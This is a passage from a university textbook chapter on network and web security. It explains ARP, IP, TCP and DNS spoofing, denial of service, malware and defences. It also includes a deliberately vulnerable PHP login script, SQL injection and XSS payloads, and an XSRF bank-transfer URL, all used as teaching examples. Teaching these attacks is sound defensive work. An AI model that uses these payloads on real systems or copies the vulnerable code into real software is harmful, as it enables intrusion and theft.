on the same, trusted, local area network (LAN) will be able to perform attacks
without having to worry about an Internet firewall protecting the LAN. Attacks
by different attackers will also have different goals. An attack may be aiming
to gain a capability, for example to get messages onto the LAN. Obviously such
an attack is only relevant for an attacker that does not yet have the capability;
only an outside attacker would need an attack for getting messages onto the
LAN as an inside attacker already has this capability.
To secure the network we need to consider attacks at different layers (see
for example Figure 8.1). Consider the network layer model for TCP/IP (see
Figure 8). An application process will use the transport layer’s connection service
to manage a connection with a remote process it wants to communicate with.
But to do this (human understandable) addresses used by the application, such
as www.tue.nl, need to be translated to IP addresses understood by the network
layer using DNS. An attacker may try to get the traffic redirected to their IP
address by disturbing this step (e.g. through DNS spoofing). Alternatively, the
attacker could influence lower layers to achieve the same result. For example, an
attacker could eavesdrop messages if she has access to the physical layer.

Figure 8.2: Examples of attacks at and between different layers

MAC As we discussed in Chapter 6, a media access control (MAC) protocol is

a link layer protocol and a MAC address is used to identify each network device
interface. Some wireless routers (access points) use MAC address ‘whitelisting’
as a security mechanism, allowing only access by the listed MAC addresses.
8.1. NETWORK LAYERS AND CORRESPONDING THREATS 139

Figure 8.3: ARP spoofing in action

However, a network device can claim to have any MAC address as modern
operating systems allow MAC address changes in software. Some wireless routers
even support setting the MAC address that they use as some Internet modems
only talk to one fixed MAC address. Installing a new router would thus not be
possible without spoofing the MAC.1

ARP: IP to MAC On the network layer IP addresses are used to identify

devices on the network. Routing of IP packets depends on whether the IP is
local or not (as configured by the subnet mask). Datagrams destined to local
subnet addresses are directly sent to the MAC address of the machine that
belongs to that IP. Other datagrams are sent to the gateway responsible for
passing messages to the rest of the network. If machine A does not have the
MAC address that belongs to some local IP-B in its cache it will use the address
resolution protocol (ARP) to broadcast the question ‘what is the MAC address
corresponding to IP-B?’. The machine with IP-B will respond by sending ‘IP-B
is at MAC address x’. For efficiency machine A typically does not remember
whether or not it asked for IP-B. Instead, whenever it sees the message ‘IP-B
is at MAC address x’ it updates its cache. Thus to claim an IP-B all that is
needed is to send a fake response (even without a request).
What can be done to prevent ARP spoofing? One thing to note is that there
are some legitimate uses where the redirection of traffic is actually intentional,
not an attack. For example, a backup server may transparently take over the
role of crashed server by claiming its IP. Other uses may be to redirect a new
machine on the network to a sign-up page before giving it access e.g. to (the
1 In a way this means that the routers are designed to circumvent a security feature of the

modem; some ISPs disallowed the use of multiple devices on the same connection in the early
days of broadband internet though mainly to prevent commercial use or sharing the connection
with other households. Consumers having multiple PCs, let alone other devices with internet
connection, was not very common back then. Technically this could thus be classified hacking
(‘computervredebreuk’ in Dutch) - for this type of considerations see the electives course Legal
and Technical Aspects of Security (2IC70).
140 CHAPTER 8. NETWORK AND WEB SECURITY

Figure 8.4: IPv4 packet header

gateway and) the Internet.

Tools which monitor the network can be used to look for fake responses
(e.g. responses without requests, multiple responses to a request), poisoned ARP
caches (e.g. different values for the same IP), etc. To limit possible damage one
could also use static entries for key addresses (such as the gateway, important
local services) and not use ARP for these addresses. A disadvantage here is the
maintenance involved; if any of the static addresses change, all devices on the
network have to be updated. Also, recall that any device can claim to have any
MAC address so using the correct MAC address does not guarantee that the
message goes to the correct machine.
Instead of trying to prevent the ARP spoofing we can try to solve this at the
higher network layers, taking into account the fact that the lower layer may be
unreliable in the design of protocols for the higher layers.

IP Like the MAC address, the IP address is just a plain text string inside
the message. Spoofing an IP address in a message is simple; just change the
IP header of the message. (See Figure 8.1: put the IP address you want and
compute the corresponding header checksum.) The message will then appear to
come from (or be intended for if you change the destination) that IP address.
To help mitigate attacks based on IP spoofing one can use firewalls to block
message from outside the network that claim to come from an IP on the local
network. Also, it may be possible to trace back the source of the message
(the routers forwarding the message may allow) which may help finding the
source of the attack, or at least defend against it closer to its source (which may
be important e.g. in denial of service attacks). Note that the attacker model
has changes compared to the discussion on e.g. MAC. With MAC spoofing we
consider an attacker on the local network. IP spoofing is basically possible
for any attacker. The firewall defense clearly only makes sense when we are
dealing with an outside attacker. (As we have seen above an attacker on the
local network can likely mount a more powerful attack, actually claiming the IP
rather than only doing IP spoofing.)
IPsec is a set of protocols for authentication and encryption of IP packets.
It supports mutual authentication of the agents involved. Transport mode: to
protect confidentiality, the content of a packet is encrypted. The header is not
modified (not to influence the routing practices on the network). The integrity
of the packet payload and parts of the packet header can also be protected.
Tunnel mode: the entire packet, including header, is encrypted and then the
result is sent as the payload of a new IP packet.
IPsec was developed as part of the IPv6 standard (though it can also be
employed in IPv4), but not all implementations of IPv6 include IPsec. Security
8.1. NETWORK LAYERS AND CORRESPONDING THREATS 141

associations are basically keys used to communicate, along with algorithms,

protocols and settings used. IPsec uses Internet Key Exchange (IKE) to set up
security associations. It uses the Diffie–Hellman (DH) key exchange to set up a
shared session key (or to be more precise a shared secret from which keys are
derived). It can also use certificates to authenticate parties.
When you initially setup an IPsec connection, you have some confidence that
you will securely communicate with the party that you setup the connection
with; the confidentiality and integrity of the communication content can be
protected. However, an authentication phase is still needed in which you ensure
that the party you setup the connection with is actually a party you want to
communicate. This introduces issues of policies, managing secrets (e.g. keys),
etc. which we will see returning in following lectures.

TCP The TCP protocol uses sequence numbers to identify blocks of communi-
cation and these sequence numbers form a basic form of authentication; packets
are only accepted by the receiver if the right sequence number is used.
If we can predict (see e.g. [5]) the (initial) sequence number that the server
will use, we can use a spoofed IP and guessed sequence number to start our own
session with the server; we don’t see the responses but we can issue requests
which will be accepted as coming from the (trusted) client. We do need to
prevent the real client from reacting to messages as seeing an unexpected session
number from the server will cause it to send a reset request which would break
our connection. Note that this attack is more a fake session initiation than a
session hijacking attack but is typically seen as belonging to the category of
session hijacking attacks.
Clearly if we can somehow get the communication with the server we can
simply read the messages and the sequence numbers within them. (We could for
example pretend to be a gateway between the server and the client networks
with the techniques described above or we could also try to get responses from
the server to be sent back by using source routing; in which the sender of the
packet can indicate (part of) the route that the return packet should follow.
However, source routing is nowadays usually disabled.)
A session between a client and server may start with authentication of the
client. In this case we may want to actively take over an (authenticated) session
rather than try to start our own new one. If we can see the traffic to/from
the server we can wait for a connection to be created and authentication to
complete, eavesdrop the session numbers used and then inject our own messages
with IP spoofing using the eavesdropped session numbers. Variants of this attack
differ in how they deal with the client and server responses. For example we can
take down the client after the session has started to prevent it from interfering
with our stolen session. We could also desynchronize the client and server by
resetting the connection on one end but not the other; we now act as a man
in the middle forwarding the responses of the client and the server (adapting
the session numbers) when we want and changing the messages as we please. If
the session includes setting up encryption keys then this type of a man in the
middle attack can also break protection at higher network levels that rely on
this encryption.
A problem with some variations of the attack can be so called ‘ACK storms’
which can give away the attack. The server acknowledges the data that we send
142 CHAPTER 8. NETWORK AND WEB SECURITY

Figure 8.5: Basic operation of DNS and DNSSEC.

to it but will of course send its acknowledgment packets to the client. If we don’t
prevent these from reaching the client it will, upon receiving these packets, notice
that the acknowledgment number is incorrect and send an ACK packet back
with the correct sequence number in an attempt to re-establish a synchronized
state. However, this response itself will be seen as invalid by the server, leading
to another ACK packet, creating a loop that continues until one of the ACK
packets is lost in transit.

DNS: Domain (URL) to IP DNS (amongst other its other services) trans-
lates human readable addresses (domains), such as www.tue.nl to IP addresses.
A client (e.g. a web browser) typically keeps a local cache (in the brower itself
or in the OS running the browser) of the Domain-IP mapping. However, for new
domains it will need to contact a name server. A local name server is typically
set along with the IP address of the machine (manually or as an optional part of
DHCP). To look up the address, this local name server will recursively make
other calls if they are needed to find the address as we discussed earlier in
Chapter 3. The local name server has a cache of its own.
The example in Figure 8.5 shows a possible flow of events. If (1) the client
tries to look up www.tue.nl and (2) this domain is not in the cache the name
server will (3) ask the root name server. A 16-bit ID is included in the query and
an answer is linked to the query by checking its ID which should be the same.
The root name server does not have (4) the IP for domain www.tue.nl itself but
does know which name server is responsible for the top level domain .nl; lets
say this is for example ns.sidn.org for the .nl domain. Thus the root name
server refers the requester to this server (5). This reference is typically given
by ‘name’. Here the name server already knows (6) where to find ns.sidn.org
from its cache (otherwise it would first have to do another DNS lookup). Thus it
contacts (7), the server which again will do a redirection (8), now to ns.tue.nl.
Here the name server for the domain is actually within the tue.nl domain.
While ns.tue.nl is responsible for (known as the ‘authoritive name server’) the
domain tue.nl, including ns.tue.nl, if we do not know the IP for ns.tue.nl
we can of course not ask it for its own IP. To solve this the .nl name server stores
the IP address of ns.tue.nl (a so called glue record) and also sends this with
its response in (9). This response is stored in the cache (10). Finally we get the
IP we are looking for (11,12) which is stored in the cache and returned to the
client (not depicted).
There are several types of attacks possible on the DNS scheme. Figure 8.6
illustrates, using the same setting as the example in Figure 8.5, two attacks in
which the attacker is a client who is trying to ‘poison’ (i.e. insert a fake record
8.1. NETWORK LAYERS AND CORRESPONDING THREATS 143

Figure 8.6: DNS poisoning attacks against a local name server.

into) the cache of a name server (Target NS). In the first attack the attacker
sends a lot of requests for the address it wants to poison. If the address is not
yet in the cache, the name server will send out requests for this address. The
attacker in the meantime sends many fake replies to this request containing a
fake (attacker controlled) IP and using different values for the ID. If one of the
IDs used by the attacker matches one of the IDs used in the request of the name
server the response will be accepted and the attacker’s IP address will be linked
to the website (www.tue.nl) in the cache of the name server. Other users of the
same name server will now be directed to the attacker when they try to visit
(www.tue.nl).
In a variation of the attack above, the attacker asks for a non-existent domain.
The advantage is that the domain will for sure not be in the cache of the local
name server and no name server will resolve the domain so the attacker has no
competition for its response queries. But what use is getting the name server to
have a false record for a non-existent domain? The clue is the use of glue records;
if the attacker can get the name server to accept her response she can include a
glue record which will also be stored and can make an important domain name
(e.g. that of a name server ns.tue.nl) point at her IP.
Not only the name server but also the client itself may be targeted. For
example (see Figure 8.7) an evil web site could include many items from the
www.tue.nl domain. If the client visits the page this will cause many requests
for www.tue.nl and the attacker can send many responses at the same time,
hoping to match the ID of one of the requests.

Figure 8.7: DNS poisoning attacks against a client.

144 CHAPTER 8. NETWORK AND WEB SECURITY

DNSSEC One possible defense against the DNS attacks described above is to
authenticate responses using digital signatures.
(Side Note) Digital signatures are important. The signer encrypts his message
or a hash computed from this message with his private key (only known to the
signer) to create a signature that is communicated together with the original
message. The result is a packet that contains the original message plus the
signature, called a ‘signed’ message. The receiver can use the public key of the
signer (known to everyone) to decrypt the signature and compare the outcome
with the hash computed again at the receiver. This is shown in Figure 8.8. (End
of Side Note)

Figure 8.8: Digital signature usage: Note that Bob’s private key should not be
reproducable from his public key. (Figure by Kurose and Ross)

In DNSSEC (Domain Name System Security Extensions) the name server

can digitally sign its response (steps 5, 9 and 12 in the scenario of Figure 8.5).
Responses without a correct signature are not accepted so the attacker cannot
create a fake response. To check a signature we need the public key of the signing
entity. The final reply (12) will be signed by the TU/e name server thus we
need the correct public key of this name server. Each name server will know the
public key(s) of the root name server but of course they do not have the public
keys of all authoritative name servers. Thus we need to retrieve and check these
public keys somehow. The way to do this is to have the name server that refers
us to the next name server also validate its public key by signing it. Thus the
.nl TLD name server, which we trust for telling us the correct name server for
the tue.nl domain, will sign the public key for that domain as well. The root
name server in turn will sign the key of the .nl TLD name server and this we can
check because we have the root public key. Of course if any step in the chain
does not deploy DNSSEC the system fails; it thus needs to be widely deployed
before bringing real benefits. This and added complexity, key management issues
and potential information leakage (e.g. which names exist in a domain) that
could be caused by DNSSEC have hindered deployment, e.g. only since 2010 has
DNSSEC been deployed at the root level. Though the rate of use is increasing,
it is far from ubiquitous; it was claimed2 that it was used in approximately 12%
2 e.g. http://www.circleid.com/posts/20140908_dnssec_adoption_a_status_report_
8.1. NETWORK LAYERS AND CORRESPONDING THREATS 145

Figure 8.9: Denial of Service attack amplification through NTP servers.

of DNS queries as of 2014.

8.1.1 Denial of Service (DoS)

In DoS attacks the attacker aims to break the security goal of ‘availability’.
There are different strategies that the attacker can use for this. Logical attacks
may exploit flaws in the networking services of a machine. For example, the
‘ping of death’ sends a malformed ICMP (ping) message to a target machine
causing a buffer overflow that could result in a crash of the target. Of course
this is not limited to ICMP. The latest (at the moment of writing) patches of,
just to name a few examples, Windows, OpenSSL and GnuPG each addressed
flaws which could be exploited in denial of service attacks. (We will see more
on logical attacks, though typically against other security attributes such as
‘secrecy’ and ‘integrity’, in the next section which treats web service security.)
Another approach the attacker could use is flooding the target with more
traffic than it is able to handle. This then becomes a game of resources; how fast
the attacker is able to send requests versus how fast the target is able to deal
with them. If the attacker has much more bandwidth than the target simply
sending lots of network traffic may already work. Dealing with a correct looking
application layer request may take significant effort by the target making sending
many of such requests a potentially more efficient way to occupy the resources
of the target machine. The effort for the attacker per request is typically far less
allowing the DoS with less use of attacker resources.
Attack amplification typically tries to reduce the attacker effort needed
compared to the effect on the target machine. One example of attack amplification
is the ‘smurf’ attack. The attacker sends an IP spoofed ICMP (ping) message
to the broadcast address of a (mis-configured) router which will then send
this message to all machines in its network. All these machines will now send
their response to the IP which was spoofed to be that of the target; a single
message by the attacker leads to many being sent to the target. Another
example of amplification using size rather than number of messages exploits an
administrative feature of Network Time Protocol (NTP) servers. These servers
can be asked to return the ‘monlist’; a list of the last 600 IP addresses that
connected to the server. IP spoofing the request will result in a response, which
is much bigger that the request, sent towards the target machine.

part_one/
146 CHAPTER 8. NETWORK AND WEB SECURITY

Distributed Denial of Service (DDoS) The resources of an attacker need

not be limited to a single machine. A coordinated attack in which many attackers
(or many subverted machines such as a botnet under control of the same attacker)
collaborate by each sending many requests can overwhelm a target. Simply
sending a huge amount of otherwise legitimate requests can exhaust the resources
of the target making it unable to respond to requests from others. (Note that
the two amplification attacks mentioned above are forms of DDoS.)
While routers of the traffic can be assumed to be willing to help prevent
attacks a firewall on a router close to the target will have a hard time to
protect the target. Simply blocking all traffic does not help - the target becomes
unreachable which is exactly what we are trying to prevent - and distinguishing
attack traffic from normal traffic will be difficult. Trying to do so will overwhelm
the router creating a possible even bigger problem (everything near the target
may also become unreachable).
A solution would be to ask routers closer to the targets to start filtering the
traffic. If the attack uses specific type of request one could block that type of
request or one could simply block traffic from subnets creating an unusually
large number of requests. (Others on the blocked subnet would be affected but
at least the target remains reachable from the remainder of the network.)
Yet finding where an attack comes from and thus which routers to ask to do
the filtering is not trivial. While traceroute programs allow determining which
route packets will take to a certain destination IP address, the source IP in the
requests is most likely spoofed and not the IP of the real attacker(s). In stead
we need ‘IP traceback’; a way to find out where a (stream of) packets is coming
from. Simply adding the address of all routers that a packet passes creates too
much overhead. Different schemes have been proposed for routers to insert extra
information into parts of the IP header that are not needed for a given packet.
Given enough traffic the added information enables finding which routers the
stream has passed through.

Figure 8.10: A Distributed Denial of Service attack

8.2 Application Layer Security

Above we focused on the mechanisms of the communication at the lower network
layers where many of the attacks are related to the packet headers; e.g. IP
spoofing by using incorrect information in the IP packet header. In this section
we will consider the application layer. At the application layer the payload
 8.2. APPLICATION LAYER SECURITY 147

becomes more important; we have already seen some examples such as the ‘ping
of death’ where an oversized payload causes an error in the application handling
the ping messages. While other layers simply treat the payload as a binary
blob to be transported, at the application layer the content gets processed and
interpreted. As the content may come from untrusted parties this opens up the
risk of attacks through content that is interpreted incorrectly. Thus here we
will look at the content of the communication, for example for security of web
services we need to carefully consider user input to those services.
Web services need to collect information from the user to do their job; the
news article to display, the address to dispatch an order to, etc. Information
collected, through setting parameters in the links or explicitly entered in forms,
can be manipulated by an attacker. Sometimes changing the user-id in the
address bar is already enough to get at the content of another user. Forms used
to gather user input may contain checks (e.g. is an email address format correct,
does the text entered in the telephone field contain only numbers, etc.). However,
on the server end one should not rely on such checks as an attacker can simply
change the data after the check or send its own (unchecked) data without using
the form at all.

¡?php mysql connect(’127.0.0.1’, ’dbuser’, ’mysqlpwd’);

mysql select db(’name tabel mysql’);
if(isset($ POST[’login’])) {
$user = $ POST[’name’];
$pwd = $ POST[’password’];
$query = mysql query(”SELECT uid, uname FROM
users WHERE uname = ’$user’ AND pwd = ’$pwd’ ”);
... } ?¿

Figure 8.11: SQL injection vulnerable script and stored XSS.

SQL injection The information used by the website is typically stored in an

(SQL) database. To supply the correct information to a user, the web application
will construct a query to this database using input from the user. For example,
an application (see also the example in Figure 8.11) may look up the record for
a given username-password combination resulting in the script line:
SELECT uid FROM users WHERE (uname=’$username’) AND (pwd=’$password’)
where users is the name of the table storing user (uname) and password (pwd)
combinations indexed by user ids (uid). When Alice enters her username and
password the query
SELECT uid FROM usertable WHERE (uname=’Alice’) AND (pwd=’1234 ’)
is sent to the database and as a result Alice’s uid is selected. In the next step
documents belonging to that uid are displayed to Alice. If, however, an attacker
enters strange and unexpected data, the meaning of the constructed query can
change - for example:
SELECT uid FROM usertable WHERE (username=’Whomever’ OR ’1’=’1 ’)
AND (password=’Whatever’ OR ’1=1 ’)
actually retrieves all uids and thus may result in everyone’s documents being
shown to the attacker. This is a basic example of an SQL injection attack; via
the user input additional SQL code is injected into the query.
148 CHAPTER 8. NETWORK AND WEB SECURITY

Figure 8.12: Cross Site Scripting (XSS).

When doing a blind injection; where the structure of the database and/or
the queries constructed by the web application are not known, some effort is first
required to find this structure. Some web applications, when getting an error
from the database, simply display the error to the user. This may be useful to
the application developer for debugging purposes but will also provide a lot of
valuable information to the attacker. For example, the query used, tables that
exist/do not exist, etc. Sometimes the application filters the error only showing
that some error occurred. Even only being able to see whether an error occurs,
or even only how long it takes before the web application responds gives a way
to extract information about/from the database.
What can be done to prevent SQL injections? The web application can
employ several countermeasures. The main one is input filtering. A basic step
could be to check the size of the input; e.g. if the input is a pincode it should
only be a few characters long. This would already make it more difficult to
construct successful SQL exploits. A stronger defense would be to ensure that
the user input is not interpreted as being part of the query by checking the input
from the user for special characters (e.g. ’) or sequences. The database API may
actually have a filtering function that achieves this which should then be used
so the web developer does not have to write to code for it (with a risk of errors
and/or oversights); for example using mysql real escape string($ POST[’naam’]);
instead of just $ POST[’naam’]; in Figure 8.11. Of course this needs to be done
for all user inputs in all scripts. This is a main reason why these vulnerabilities
still exist; even if the script developer is aware (not all are), it is easy to forget
it just once which may be enough to completely expose the database.
When supported by the database, a way to safely get the input to the
database is to use parameterized queries. Instead of building a query string
which includes the user’s input, the query contains parameters and the user
input is passed to the database as values to be used for the queries. In this way
no confusion is possible between what is part of the query and what is user input.
Thus the user input cannot change the query/inject code into it.
In addition to the input one could validate the output of the query. Similar
to input size checking we can check whether the output matches our expectation;
if we are expecting a single record and get back a whole list something is likely
wrong and the results should not be used.

XSS Cross Site Scripting (XSS) is another example where user input forms
a danger to web applications and their users. In an XSS attack an attacker
gets a user(’s browser) to run code that seems to come from another (trusted)
website. User (attacker) input to the website is used to to inject code (a script)
into a ‘trusted’ page. Coming from a trusted page, a victim’s machine will
allow execution of the code, which can then e.g. control communication with the
8.2. APPLICATION LAYER SECURITY 149

trusted site (become a ‘man in the middle’), steal information only meant for
the trusted site (private/confidential information, credentials, sessions keys, etc.)
or exploit local vulnerabilities to gain even more access to the victim’s machine.
Consider a subscription to a new website ‘news.example.com’ (see Figure 8.11)
where users can place comments with an article which are then shown to all
users reading the article. An attacker Mallory could post a comment contain-
ing a script which would then be accepted by user Bob’s browser as part of
the ‘news.example.com’ website and thus has all the rights any script from
news.example.com would have. For example, it can read the cookies that
news.example.com has set when Bob logged in and send them to Mallory. With
those cookies Mallory can impersonate Bob at news.example.com.
A comment section is an obvious user input and news.example.com may,
as with SQL injections employ input filtering, disallowing scripts (see also
countermeasures below). However, there are also other, less obvious, user inputs
that can be employed to launch an XSS attack as in Figure 8.12. To indicate
the selected article, news.example.com uses the ‘item’ parameter, which should
be set to the id number of some item. If a non-existent id number is used the
website will report that the given number does not exist.
The error message is a way for a user (e.g. Mallory) to inject code; by setting
item to some code instead of an article id that code will be injected into a
news.example.com page showing the error message. The script can be used to
hide the error message part so the page looks like a normal page. Now Mallory
can run code that seems to come from news.example.com but it runs on her own
machine under her account. To get the code to run on Bob’s machine she needs
to get Bob to follow the link she has constructed.
If Bob is well educated in security and is thus suspicious of ‘untrusted’ links.
Mallory will need to hide the fact that the link contains a script. She could display
a link different from the actual link and combine this with tricks like: news.
example.com/archive?dummy="This-very-long-argument-....-hides-the
-rest-from-view"&item=<script>...</script> which
abuses that fact that Bob’s browser will likely only show the first part of a very
long link. She could also try to encode it; %3C%73%63%72%69%70%74%3E is the
same as <script> but may not be recognized as such both by Bob as well as by
a naive input filter.
Other than educating the user not to follow untrusted links, even if they
seem to go to ‘trusted’ sites, there is little that can be done on the user site.
When visiting a page with a stored XSS or after Bob follows the malformed
link, Bob’s system is confronted with code that comes from the ‘right’ (trusted)
server. Distinguishing it from code that is legitimate is very challenging. (See
also Section 8.3 below.)
On the server side, as with SQL, input filtering is an important countermea-
sure. User input with special meaning should be translated into a ‘safe’ format.
When coding a web application one should thus be very careful with user input.
Note that filtering requires being able to distinguish between valid input and
harmful content. This may be difficult, for example for a webmail application
where the input is an email written in html. Removing dangerous parts but still
allowing the user to give all the types of input can thus be very difficult. Web
scripting languages typically provide some functions, e.g. the ‘htmlspecialchars’
function that replaces characters by their html encoding. This, however, is not
sufficient to make the user input ‘safe’ in the example. Additionally XSS input
150 CHAPTER 8. NETWORK AND WEB SECURITY

Figure 8.13: Cross site request forgery (XSRF).

filtering, as with SQL filtering, needs to be done on all relevant user inputs in
all scripts.
Tool support to analyse scripts for vulnerabilities such as SQL injection and
XSS is thus desirable. There are tools which try to detect XSS vulnerabilities.
Such tools aim to ensure functions such as ‘htmlspecialchars’ are applied in a
sufficient way to make the input safe. As automatically checking user input usage
against what is dangerous in a given setting is not easy such tools often miss
vulnerabilities and/or create many false positives making them less convenient to
use. Similarly there are tools for SQL injection analysis as well as more general
code analysis tools to search for (security) bugs.

XSRF Cross-Site request forgery (XSRF) is another attack where user input
(in this case requests) is misused. While an XSS attack tricks a user(’s browser)
into trusting and running code, an XSRF attack aims to send authorized but
unintended requests to a (trusted) website. Consider a user visiting evil.site.com
while still logged in to bank.example.com. (See Figure 8.13.) On the evil
site there is a link to an ‘image’, located at url http://bank.example.com/
transfer.php?from=Bob&to=Mallory&amount=1000. The user’s browser will
follow this link to load the image. However, the link is not really an image but a
request to bank.example.com to transfer money. As Bob is already logged in at
bank.example.com the request will succeed.
A variation of the XSRF attack above, also shown in Figure 8.13, has the
same setting of Bob visiting evil.site.com while logged in, but this time at stor-
agebox.example.com where Bob stores his important files. Again a fake link will
be followed by Bob’s browser resulting at a request to storagebox.example.com
to login as Mallory. Bob’s session is thus replaced and he is now logged on as
Mallory. Of course Mallory does not store her important files here. Instead
she hopes that Bob will not notice the change before uploading an important
document. The document will go to Mallory’s account so she can also access it.

In this section we’ve seen several types of attacks against web servers and
their users. A general defense against these types of attacks is to (try to) decrease
the value of what can be stolen; e.g. accepting authentication cookies only from
the right IP would make abuse of stolen cookies harder. We will look at network
defenses in general in Section 8.3. As a general conclusion for this section we can
state: data is more dangerous than you think. Not only unknown programs or
devices but also any data from an untrusted source can be a source of attacks.
8.2. APPLICATION LAYER SECURITY 151

8.2.1 Malware
Above we have looked at some specific vulnerabilities of networks and the
machines on a network. Different types of malware exploit such weaknesses to
infiltrate the system, replicate, spread and achieve some malicious goal.
Trojans are legitimate looking programs (or other content) that actually
carry malicious code inside. Viruses can replicate, usually involving some action
like running an infected program (like biological viruses need a host organism,
computer viruses infect programs). Worms are able to replicate by themselves,
without the need of human action. Well known worms, such as conficker,
spread around networks (e.g. the Internet) exploiting vulnerabilities of network
services and machines. Adware is a type of software that automatically shows
advertisements or redirect your searches to advertising websites, in order to
generate revenues for its creator. (This is not necessarily malicious, however
many types of adware try to hide on your system, avoid uninstall and/or gather
information without your consent.) Classification of malware into these categories,
however, is sometimes difficult and terms are commonly mixed, using e.g. virus
for any type of malware.
While some hacks, viruses and worms may have been ‘just to see what I can
do’, i.e. idealistic, to demonstrate the vulnerability or simple vandalism, modern
malware is for the most part targeting big businesses or are even used for digital
warfare. The conficker worm, for instance, installs scareware (showing pop-ups
to get user to buy a fake anti-virus solution) and creates a botnet; a network
of machines under control of the attacker, which can then be used for sending
spam, distributed DoS attacks, renting out to others, etc. The worm has an
update mechanism used to download its software for its malicious activities as
well as updates to its spreading mechanism and protection against updates of
anti-virus software that would be able to protect against it.
(Zero-day) vulnerabilities, exploits, virus building kits and botnets are com-
modities that are traded on the black market. One thus does not even have
to create one’s own malware or botnet; it is possible to buy or rent infected
machines. (See for example Metasploit www.metasploit.com for hacking made
easy.) Botnets are controlled through command and control centers. By using a
C&C center to drive a botnet, the malware can easily be updated and adapted,
making it hard to take down the network of bots. To prevent the C&C center
itself from being taken down, it is located in countries where there are no laws
to easily do this, its location is hidden e.g. within a list of addresses, using
anonymous services in TOR3 and/or redundancy is used so a new C&C can
easily be created at a different location. As in many security areas there is an
arms race between taking out botnet C&C centers and new infections, botnets
and control methods appearing.
Of course with all the value a botnet represents there are those that will try
to take it over, either to dismantle/study it (e.g. [24]) or to use it for their own
illegitimate agenda. It has also been suggested to take this defense strategy a
step further; use weaknesses in infected machine to force installation of patches,
removing of and protecting against malware but there are many moral, legal,
practical and technical issues with such an approach. Related to this is use of
‘hacking’ by authorities which is also the subject of debate what actions are
justified, should e.g. ‘hacking’ by the police be allowed (and if so to what degree,
3 www.torproject.org
152 CHAPTER 8. NETWORK AND WEB SECURITY

in which circumstances)? For example German federal court rejects4 hacking by

police in general though leaves open some possibilities to do so for example with
respect to threats that endanger public safety such as terrorism.

APTs and Stuxnet An important trend in the malware landscape is the

move from ‘blunt tools’ doing ‘catch what you can’ attacks against arbitrary
targets to sophisticated, specialized attacks against specific targets; e.g. for data
theft, (industrial) espionage. Such Advanced Persistent Threats (APTs) are at
the ‘frontline’ of the (anti-)malware arms race.
Not only the PCs or ICT networks are potential targets for attacks. Attacks
on critical infrastructure can be especially harmful. The so called SCADA
(supervisory control and data acquisition) systems that manage industrial pro-
cesses, power plants, locks, bridges, prison cell doors, etc. are vulnerable to
attacks.While for example gas and power distribution, water management are
clearly critical infrastructure, the notion of what is critical is growing within
the digital landscape. For example; where only a couple of years ago having
no Internet connectivity was an inconvenience, nowadays it is a major obstacle,
people get lost without their route navigation software, etc.
A major boost for the media attention for SCADA security was the discovery
‘in the wild’ of a very advanced targeted virus; Stuxnet. Stuxnet is a very
sophisticated piece of malware, combining advanced techniques, some of which
are already introduced above. It uses several zero day vulnerabilities, is aware of
virus scanners that might be able to detect it and adapts itself to avoid them,
uses techniques to remain hidden and is able to update itself through a command
and control center. A stolen certificate is used to pretend to be a valid driver, so
it will be installed without prompting the user.
Current anti-virus measures are not able to deal with sophisticated attacks
such as stuxnet. Advanced persistent threats and digital warfare continue to
grow. New protection methods will be needed to defend against such targeted
digital attacks. 5

8.3 Defending against network security threats

Above we have already mentioned several methods of countering specific network
threats. Here we treat three general categories of network defense technologies:
Virus scanners, Network Intrusion Detection Systems (IDS, NIDS), and firewalls.
Virus scanners try to detect and disable or remove (clean) malware, intrusion
detection systems try to detect malicious traffic and firewalls try to block
malicious traffic.
A key problem that we see returning in each of these technologies, as well
as many other security mechanisms, (input filtering, access control, biometrics,
etc.) is the need to distinguish ‘good’ cases (code, traffic, input, requests,
measurements, etc.) from ‘bad’ cases. In general we have two ways of approaching
this:
4 www.nytimes.com/2011/10/15/world/europe/uproar-in-germany-on-police-use-of-surveillance-software.
html, jurist.org/thisday/2012/02/german-high-court-rejected-police-computer-hacking-efforts.
php, etc.
5 At the TU/e we have several projects devoted to this topic, for example the SpySpot

project security1.win.tue.nl/spyspot/.
8.3. DEFENDING AGAINST NETWORK SECURITY THREATS 153

• Whitelisting; by using an access control matrix to describe what traffic (or

. . . ) is ‘good’. Anything else is considered ‘bad’.
• Blacklisting; by describing what traffic is ‘bad’. Any other traffic is
considered ‘good’. Many virus scanners work in this way; they look for
(patterns of) known viruses in programs.
The AC matrix tries to simply list all allowed (‘good’) cases. As we have seen
this quickly becomes unmanageable, thus prompting the introduction of more
advanced specification methods such as RBAC and XACML. In other settings
there are simply way too many possibilities to create a simple list. We thus need
to express a model for ‘good’ or ‘bad’ in a more efficient way. For example input
filtering against SQL is a form of blacklisting where we use a set of rules, for
example, “the ’ symbol is not allowed in a user input used to construct an SQL
query”. or replace the offending character with a safe encoding.)

Anti virus Anti virus software tries to identify malware and prevent it from
causing harm. Typically by periodically scanning the whole system, checking
content as it comes in (e.g. downloads in the browser, incoming email) and on
access scan; programs get scanned on the fly as they are started. It recognizes
malware in different ways; signature based recognition compares the scanned
content against a list of known viruses. This requires constant updating of the
list of ‘fingerprints’ of known viruses. Viruses not on the list yet will be missed.
Also variations of the same virus may be missed if the characteristic fingerprint
is changed or masked.
The number of viruses is huge and growing quickly. Though virus software
uses several mechanisms to reduce the performance cost, such as checking for
changes (storing e.g. a CRC of a scanned program) and not rechecking unchanged
programs, purely signature based detection becomes unfeasible.
Heuristic recognition tries to recognize malware for example by running the
program in isolation (i.e. a ‘sandbox’) to examine its behaviour or decompiling
to look whether the code contains characteristic malware patterns. It is not
possible in general to decide whether content is ‘malicious’ thus we can only
approximate while making mistakes and mislabeling some content.
There are all clearly signature/rule based blacklisting approaches; they try to
track and recognize the ‘bad’ cases. There is some problem with false positives;
some legitimate programs will match a signature or heuristic rule. The false
negative problem, however, is much bigger; previously unknown malware cannot
be detected. This is a general issue for techniques using signature or rule based
models; they cannot deal with new cases which were not considered when the
signatures/rules were made.
There are also whitelisting approaches that try to combat malware. For
example, Windows will normally only install device drivers that are digitally
signed. This is thus a rule based whitelist; “accept only those drivers that are
signed by the correct authority”. The authority is trusted to check that the code
is not malicious. Reputation based systems look at how long has the program
been around, how often is it used, where and in which context, based on feedback
from millions of machines (note the potential privacy risk). Here the community
at large instead of a single authority is used as a source of trust in the program.
Anti-anti-virus Polymorphic viruses, the ‘retro-viruses’ of the digital world,
try to prevent detection by anti-virus software by mutating, on occasion changing
154 CHAPTER 8. NETWORK AND WEB SECURITY

its appearance in new copies. In this way a new signature may no longer be
valid. One way of mutating is to encrypt the payload with a (new randomly
